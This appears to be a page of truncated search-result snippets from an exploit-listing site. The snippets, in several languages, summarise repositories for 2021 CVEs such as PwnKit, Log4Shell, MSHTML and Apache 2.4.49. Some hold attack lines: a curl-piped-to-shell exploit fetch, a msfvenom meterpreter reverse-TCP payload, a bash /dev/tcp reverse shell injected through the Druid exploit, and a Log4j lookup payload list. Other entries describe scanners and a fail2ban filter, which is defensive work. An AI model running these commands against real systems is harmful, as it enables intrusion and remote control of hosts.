109296 matches found
Exploiting-PwnKit-CVE-2021-4034-
PwnKit 针对CVE-2021-4034的自包含利用程序 - Pkexec本地权限提升 用法 在基于Ubuntu、Debian、Fedora和CentOS的易受攻击Linux发行版上应可开箱即用。 root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 手动 root@kitploit: curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit chm...
CVE-2021-40444-POC
CVE-2021-40444-POC Metasploit Frameworkを使用して、Microsoft MSHTML リモートコード実行（RCE）の脆弱性を再現する試みです。 FlareVMで実行しない場合に最適です 準備 リポジトリを https://github.com/lockedbyte/CVE-2021-40444 からクローンします 後で msfvenom で使用する .dll テンプレートを準備します msfvenom -p windows/meterpreter/reversetcp lhost= lport= -f dll -o template.dll 生成され...
PoC-Metabase-CVE-2021-41277
Este repositorio no tiene un README...
CVE-2021-33766
POC 漏洞利用 CVE-2021-33766 ProxyToken POC 漏洞利用 CVE-2021-33766 ProxyToken 是一个便捷的 shell 脚本，为渗透测试人员和安全研究人员提供了一种快速有效的方式来测试 Microsoft Exchange ProxyToken 漏洞。 免责声明...
local-log4j-vuln-scanner
简单的本地 log4j 漏洞扫描器 （使用 Go 编写，因为，你知道的，“一次编写，到处运行”。） 这是一个简单的工具，可用于在 Java 软件（如 Web 应用程序）的安装中查找存在漏洞的 log4j 1.x 和 2.x 实例。它会检查 JAR 和 WAR 归档文件，并标记已知存在漏洞的类文件。扫描以递归方式进行：包含 WAR 文件的 WAR 文件，其中再包含 JAR 文件，而 JAR 文件中又包含存在漏洞的类文件——这些都应该能被正确标记。 目前可识别的漏洞包括： CVE-2019-17571 1.x CVE-2021-44228 CVE-2021-45105...
CVE-2021-41773
CVE-2021-41773 CVE-2021-41773 POC con Docker Configuración Para personalizar el archivo httpd.conf, cambie la línea 251 en la sección de Require all denied a Require all granted. root@kitploit: AllowOverride none Require all granted Crear un Dockerfile en tu proyecto root@kitploit: FROM...
Sandbox-Challenge-Log4Shell-CVE-2021-44228-
Desafío Sandbox: Log4Shell CVE-2021-44228 Resumen Este recorrido documenta los pasos realizados para completar el Desafío Sandbox de Amenazas de CISA para CVE-2021-44228, comúnmente conocido como Log4Shell. El desafío implicó completar dos objetivos — uno de equipo rojo ofensivo y uno de equipo...
log4j2021_vul_test
log4j2021vultest 测试 CVE https://vulners.com/cve/CVE-2021-44228...
fail2ban-log4j
fail2ban-log4j fail2ban 过滤器，用于捕获针对 log4j CVE-2021-44228 的攻击 安装 将此文件复制到您的 fail2ban filter.d 目录，该目录通常类似于 /etc/fail2ban/filter.d 或类似的位置。 在您的 jail.local 或 jail.conf 中添加一个 apache-jndi 部分： root@kitploit: apache-jndi enabled = true filter = apache-jndi port = http,https logpath =...
CVE-2021-43858-MinIO
CVE-2021-43858 MinIO exploit MinIO 用户权限提升漏洞CVE-2021-43858 exp 运行方式：go run exp.go ip port...
CVE-2021-4034_Python3
CVE-2021-4034Python3...
CVE-2021-44228_scanner
CVE-2021-44228 文件系统扫描器 旨在查找几乎任何目录或 zip、jar、ear、war 文件中的 JndiLookup.class，即使是深度嵌套的。 find-class-files – Clojure 实现应能在 Java 可以运行的几乎任何地方运行，前提是有足够的磁盘空间。 给定一组文件系统根目录（c:\mydir 或 /home/home/on/the/range），显示磁盘上或压缩包中的 JndiLookup.class 实例。 windowscmd – 原型 Windows 脚本是批处理文件，但它们非常慢且可能相当冗长，而且无法告诉你文件的哈希值。...
CVE-2021-41773
CVE-2021-41773 大家好，昨天针对 apache 2.4.49 版本的新 CVE-2021-41773 发布了。所以在这种情况下，我想讲解一下这个 apache 漏洞。 Playground 那么，我想你们可能想在网站上测试这个漏洞。所以我为你们准备了一个测试环境。 这是下载 apache 2.4.49 示例 docker 镜像的网站 Docker 镜像 注意：有两个镜像，分别是 with-cgid 和 no-cgid。你需要下载这两个镜像 使用方法 首先在您的机器上下载 docker image。 拉取 Docker 镜像 root@kitploit: no-cgid:...
CVE-2021-25646
usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd 反弹shell如下： 写入反弹shell脚本 python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" 赋予shell脚本执行权限 python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh" 执行shell python3 CVE-2021-25646.p...
CVE-2021-44228
Log4Shell POC CVE-2021-44228 本仓库旨在提供利用 CVE-2021-44228（绰号 Log4Shell）所需的全部组件，并演示如何利用该漏洞。 利用此漏洞所需的要素如下： 1. 一个 LDAP 服务器 ，它将把存在漏洞的应用程序重定向到 exploit。 2. 一个使用存在漏洞的 Log4J 版本的存在漏洞的应用程序 （易受 CVE-2021-44228 影响的 Spring Boot Web 应用程序）。 3. 将被存在漏洞的应用程序加载的 Java Exploit.class （以及对应的 Exploit.java 文件）。 4. 一个 http 服务器...
cve-2021-1675
〖EXP〗Ladon打印机漏洞提权CVE-2021-1675复现 http://k8gege.org/p/CVE-2021-1675.html 基本情况 6月9日，微软发布6月安全更新补丁，修复了50个安全漏洞，其中包括一个Windows Print Spooler权限提升漏洞，漏洞CVE编号：CVE-2021-1675。未经身份验证的远程攻击者可利用该漏洞以SYSTEM权限在域控制器上执行任意代码，从而获得整个域的控制权。建议受影响用户及时更新漏洞补丁进行防护，做好资产自查以及预防工作，以免遭受黑客攻击。 漏洞描述 Print...
tf-cve-2021-36782
CVE-2021-36782 的演示 Terraform 模块 这是一个用于演示 CVE-2021-36782 的 Terraform 模块。 快速开始 克隆仓库 运行 terraform init 复制 example.tfvars 为 yourown.tfvars 编辑 yourown.tfvars. 你只需要添加一个 DigitalOcean API 令牌 运行 terraform apply -var-file yourown.tfvars 等待约 20 分钟...
printnightmare
printnightmare CVE-2021-34527 implementación...
Log4j-RCE
Log4j-RCE Log4j RCE - CVE-2021-44228 如何运行？ root@kitploit: php log4j.php https://1337.com 要求 PHP CURL PAYLOAD DNS 日志（Burpsuite Collaborator 或使用 dnslog.cn） Payload 列表 root@kitploit: $ctx:loginId $map:type $filename $date:MM-dd-yyyy $docker:containerId $docker:containerName $docker:imageName $env:US...